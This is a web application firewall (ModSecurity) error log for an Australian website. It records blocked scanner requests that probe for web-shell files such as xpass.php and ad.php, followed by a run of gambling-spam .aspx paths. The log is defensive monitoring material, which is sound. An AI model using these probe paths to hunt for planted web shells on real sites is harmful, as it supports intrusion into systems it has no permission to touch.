[Tue Mar 31 00:24:23.612513 2026] [:error] [pid 31577:tid 31594] [client 4.205.211.88:39675] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdone1.php"] [unique_id "acqjt3OcPMUnrUQjB4Jd8AAAAY8"]
[Tue Mar 31 00:24:24.041975 2026] [:error] [pid 31577:tid 31585] [client 4.205.211.88:39546] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpass.php"] [unique_id "acqjuHOcPMUnrUQjB4Jd8QAAAYY"]
[Tue Mar 31 00:24:24.490373 2026] [:error] [pid 63557:tid 63567] [client 4.205.211.88:39715] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpass.php"] [unique_id "acqjuK4QNVlzYgEvIjnk-wAAAQg"]
[Tue Mar 31 00:24:24.911162 2026] [:error] [pid 60745:tid 60752] [client 4.205.211.88:39647] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpass.php"] [unique_id "acqjuCQDBn75QnHaPb9ncgAAAEM"]
[Tue Mar 31 00:24:25.321745 2026] [:error] [pid 31577:tid 31589] [client 4.205.211.88:39648] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpass.php"] [unique_id "acqjuXOcPMUnrUQjB4Jd8wAAAYo"]
[Tue Mar 31 00:24:25.734861 2026] [:error] [pid 31577:tid 31598] [client 4.205.211.88:39541] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ad.php"] [unique_id "acqjuXOcPMUnrUQjB4Jd9wAAAZM"]
[Tue Mar 31 00:24:26.152812 2026] [:error] [pid 60746:tid 60796] [client 4.205.211.88:39510] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ad.php"] [unique_id "acqjup4kQrgjDdAbQCpHgAAAAJQ"]
[Tue Mar 31 00:24:26.572669 2026] [:error] [pid 60835:tid 60849] [client 4.205.211.88:39557] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ad.php"] [unique_id "acqjugIOJ4Lc0iJVRzwY6AAAAAw"]
[Tue Mar 31 00:24:26.987202 2026] [:error] [pid 60745:tid 60767] [client 4.205.211.88:39556] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ad.php"] [unique_id "acqjuiQDBn75QnHaPb9ndQAAAFI"]
[Tue Mar 31 00:24:27.417031 2026] [:error] [pid 31577:tid 31594] [client 4.205.211.88:39537] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h02ugyh.php"] [unique_id "acqju3OcPMUnrUQjB4Jd_wAAAY8"]
[Tue Mar 31 00:24:27.833191 2026] [:error] [pid 31577:tid 31589] [client 4.205.211.88:39673] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h02ugyh.php"] [unique_id "acqju3OcPMUnrUQjB4JeAgAAAYo"]
[Tue Mar 31 00:24:28.257149 2026] [:error] [pid 60745:tid 60754] [client 4.205.211.88:39568] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h02ugyh.php"] [unique_id "acqjvCQDBn75QnHaPb9ndgAAAEU"]
[Tue Mar 31 00:24:28.682425 2026] [:error] [pid 31577:tid 31584] [client 4.205.211.88:39590] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h02ugyh.php"] [unique_id "acqjvHOcPMUnrUQjB4JeBgAAAYU"]
[Tue Mar 31 01:02:53.131675 2026] [:error] [pid 39123:tid 39149] [client 43.157.180.116:48794] [client 43.157.180.116] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acqsvSobgVY20PMQKVtFFgAAARg"]
[Tue Mar 31 02:01:26.586925 2026] [:error] [pid 36939:tid 36949] [client 79.137.67.84:37352] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "acq6dsRDKH225Jeq1jdVlgAAAAg"]
[Tue Mar 31 02:01:29.590044 2026] [:error] [pid 39123:tid 39129] [client 79.137.67.84:40214] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acq6eSobgVY20PMQKVt4-QAAAQQ"]
[Tue Mar 31 02:01:32.205791 2026] [:error] [pid 36939:tid 36957] [client 79.137.67.84:55688] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acq6fMRDKH225Jeq1jdVqAAAABA"]
[Tue Mar 31 02:01:34.782510 2026] [:error] [pid 39123:tid 39141] [client 79.137.67.84:55704] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acq6fiobgVY20PMQKVt5HQAAARA"]
[Tue Mar 31 02:01:37.472879 2026] [:error] [pid 39123:tid 39137] [client 79.137.67.84:55708] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acq6gSobgVY20PMQKVt5KAAAAQw"]
[Tue Mar 31 02:01:40.009924 2026] [:error] [pid 36688:tid 36848] [client 79.137.67.84:53476] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "acq6hJIe8NBGKiiCIcIbswAAAI0"]
[Tue Mar 31 02:01:42.477119 2026] [:error] [pid 36688:tid 36852] [client 79.137.67.84:53486] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "acq6hpIe8NBGKiiCIcIbvAAAAJE"]
[Tue Mar 31 02:01:45.082633 2026] [:error] [pid 36688:tid 36835] [client 79.137.67.84:53488] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "acq6iZIe8NBGKiiCIcIbyQAAAIA"]
[Tue Mar 31 02:01:47.359699 2026] [:error] [pid 39123:tid 39143] [client 79.137.67.84:53494] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "acq6iyobgVY20PMQKVt5NAAAARI"]
[Tue Mar 31 02:01:49.796642 2026] [:error] [pid 36939:tid 36960] [client 79.137.67.84:50924] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "acq6jcRDKH225Jeq1jdV1gAAABM"]
[Tue Mar 31 02:01:52.108592 2026] [:error] [pid 36706:tid 36885] [client 79.137.67.84:50928] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "acq6kLa-eBLL1E34-UUCkgAAANc"]
[Tue Mar 31 02:01:54.661306 2026] [:error] [pid 36706:tid 36874] [client 79.137.67.84:50938] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "acq6kra-eBLL1E34-UUCnQAAAMw"]
[Tue Mar 31 02:01:57.075574 2026] [:error] [pid 36672:tid 36818] [client 79.137.67.84:50950] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "acq6lbKHDzEfeL3XiLpMHgAAAEs"]
[Tue Mar 31 02:01:59.460953 2026] [:error] [pid 36706:tid 36866] [client 79.137.67.84:50960] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "acq6l7a-eBLL1E34-UUCugAAAMQ"]
[Tue Mar 31 02:02:01.998300 2026] [:error] [pid 39123:tid 39126] [client 79.137.67.84:43380] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "acq6mSobgVY20PMQKVt5XwAAAQE"]
[Tue Mar 31 02:02:04.439396 2026] [:error] [pid 39123:tid 39141] [client 79.137.67.84:43382] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "acq6nCobgVY20PMQKVt5aQAAARA"]
[Tue Mar 31 02:02:06.875953 2026] [:error] [pid 36672:tid 36822] [client 79.137.67.84:43388] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "acq6nrKHDzEfeL3XiLpMKwAAAE8"]
[Tue Mar 31 02:02:09.266538 2026] [:error] [pid 39123:tid 39143] [client 79.137.67.84:43390] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "acq6oSobgVY20PMQKVt5egAAARI"]
[Tue Mar 31 02:02:11.646099 2026] [:error] [pid 36688:tid 36859] [client 79.137.67.84:44658] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "acq6o5Ie8NBGKiiCIcIcXQAAAJg"]
[Tue Mar 31 02:02:14.145442 2026] [:error] [pid 36706:tid 36873] [client 79.137.67.84:44668] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acq6pra-eBLL1E34-UUCzgAAAMs"]
[Tue Mar 31 02:02:16.656908 2026] [:error] [pid 39123:tid 39131] [client 79.137.67.84:44672] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acq6qCobgVY20PMQKVt5nQAAAQY"]
[Tue Mar 31 02:02:19.257111 2026] [:error] [pid 36672:tid 36821] [client 79.137.67.84:44676] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acq6q7KHDzEfeL3XiLpMUAAAAE4"]
[Tue Mar 31 02:02:21.904379 2026] [:error] [pid 39123:tid 39132] [client 79.137.67.84:42374] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "acq6rSobgVY20PMQKVt5wAAAAQc"]
[Tue Mar 31 02:02:42.631953 2026] [:error] [pid 36672:tid 36822] [client 79.137.67.84:42388] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "acq6wrKHDzEfeL3XiLpMjQAAAE8"]
[Tue Mar 31 02:02:44.975568 2026] [:error] [pid 39123:tid 39143] [client 79.137.67.84:53064] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "acq6xCobgVY20PMQKVt6IwAAARI"]
[Tue Mar 31 02:02:47.347075 2026] [:error] [pid 39123:tid 39127] [client 79.137.67.84:53074] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "acq6xyobgVY20PMQKVt6QAAAAQI"]
[Tue Mar 31 02:02:49.867371 2026] [:error] [pid 39123:tid 39137] [client 79.137.67.84:47396] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "acq6ySobgVY20PMQKVt6VAAAAQw"]
[Tue Mar 31 02:02:52.413149 2026] [:error] [pid 36939:tid 36948] [client 79.137.67.84:47412] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "acq6zMRDKH225Jeq1jdWewAAAAc"]
[Tue Mar 31 02:02:54.946266 2026] [:error] [pid 39123:tid 39126] [client 79.137.67.84:47426] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "acq6ziobgVY20PMQKVt6eAAAAQE"]
[Tue Mar 31 02:02:57.297648 2026] [:error] [pid 36939:tid 36945] [client 79.137.67.84:47438] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "acq60cRDKH225Jeq1jdWhgAAAAQ"]
[Tue Mar 31 02:02:59.808084 2026] [:error] [pid 36939:tid 36957] [client 79.137.67.84:39370] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "acq608RDKH225Jeq1jdWnQAAABA"]
[Tue Mar 31 02:03:02.310854 2026] [:error] [pid 36939:tid 36964] [client 79.137.67.84:39372] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "acq61sRDKH225Jeq1jdWqgAAABc"]
[Tue Mar 31 02:03:04.823146 2026] [:error] [pid 36706:tid 36883] [client 79.137.67.84:39384] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "acq62La-eBLL1E34-UUDEwAAANU"]
[Tue Mar 31 02:03:07.149423 2026] [:error] [pid 36706:tid 36886] [client 79.137.67.84:39398] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "acq627a-eBLL1E34-UUDGQAAANg"]
[Tue Mar 31 02:03:09.668330 2026] [:error] [pid 36706:tid 36864] [client 79.137.67.84:39412] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "acq63ba-eBLL1E34-UUDJAAAAMI"]
[Tue Mar 31 02:03:12.144007 2026] [:error] [pid 36672:tid 36821] [client 79.137.67.84:33640] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "acq64LKHDzEfeL3XiLpMtQAAAE4"]
[Tue Mar 31 02:03:14.679581 2026] [:error] [pid 39123:tid 39146] [client 79.137.67.84:33650] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "acq64iobgVY20PMQKVt6wAAAARU"]
[Tue Mar 31 02:03:17.165126 2026] [:error] [pid 39123:tid 39144] [client 79.137.67.84:33662] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "acq65SobgVY20PMQKVt6zQAAARM"]
[Tue Mar 31 02:03:19.675537 2026] [:error] [pid 39123:tid 39144] [client 79.137.67.84:40540] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "acq65yobgVY20PMQKVt61AAAARM"]
[Tue Mar 31 02:03:22.144946 2026] [:error] [pid 36706:tid 36877] [client 79.137.67.84:40550] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "acq66ra-eBLL1E34-UUDQAAAAM8"]
[Tue Mar 31 02:03:24.650272 2026] [:error] [pid 36706:tid 36863] [client 79.137.67.84:40552] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "acq67La-eBLL1E34-UUDSAAAAME"]
